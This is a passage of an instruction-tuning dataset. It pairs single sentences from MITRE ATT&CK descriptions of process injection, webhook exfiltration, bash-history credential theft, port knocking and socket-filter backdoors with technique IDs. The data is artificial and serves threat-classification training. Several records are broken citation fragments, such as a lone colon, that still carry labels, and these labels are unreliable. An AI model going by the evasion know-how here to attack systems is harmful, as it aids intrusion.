Input: Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ptrace system call injection involves attaching to and modifying a running process.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ptrace system call injection involves attaching to and modifying a running process. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction).", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "APC injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: APC injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC)", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL).", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: CyberBit Early Bird Apr 2018)", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: CyberBit Early Bird Apr 2018) ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": ":", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: : ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PE injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PE injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode).", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Firewall rules may also already exist to permit traffic to these services.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Firewall rules may also already exist to permit traffic to these services. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1567", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1567."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel.", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation:", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Discord Intro to Webhooks)", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Discord Intro to Webhooks) ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection.", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation:", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Checkmarx Webhooks)", "output": "T1567.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Checkmarx Webhooks) ### Response: T1567.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Bash keeps track of the commands users type on the command-line with the \"history\" utility.", "output": "T1139", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Bash keeps track of the commands users type on the command-line with the \"history\" utility. ### Response: T1139."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file.", "output": "T1139", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. ### Response: T1139."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For each user, this file resides at the same location: <code>~/.bash_history</code>.", "output": "T1139", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For each user, this file resides at the same location: <code>~/.bash_history</code>. ### Response: T1139."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, this file keeps track of the user\u2019s last 500 commands.", "output": "T1139", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, this file keeps track of the user\u2019s last 500 commands. ### Response: T1139."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out.", "output": "T1139", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. ### Response: T1139."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Attackers can abuse this by looking through the file for potential credentials.", "output": "T1139", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Attackers can abuse this by looking through the file for potential credentials. ### Response: T1139."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: External to DA, the OS X Way)", "output": "T1139", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: External to DA, the OS X Way) ### Response: T1139."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use port knocking to hide open ports used for persistence or command and control.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use port knocking to hide open ports used for persistence or command and control. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The observation of the signal packets to trigger the communication can be conducted through different methods.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The observation of the signal packets to trigger the communication can be conducted through different methods. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", "output": "T1205.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. ### Response: T1205.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The filter may apply to all traffic passing through the specified network interface (or every interface if not specified).", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing)", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation:", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Leonardo Turla Penquin May 2020)", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Leonardo Turla Penquin May 2020) ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.", "output": "T1205.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage. ### Response: T1205.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed 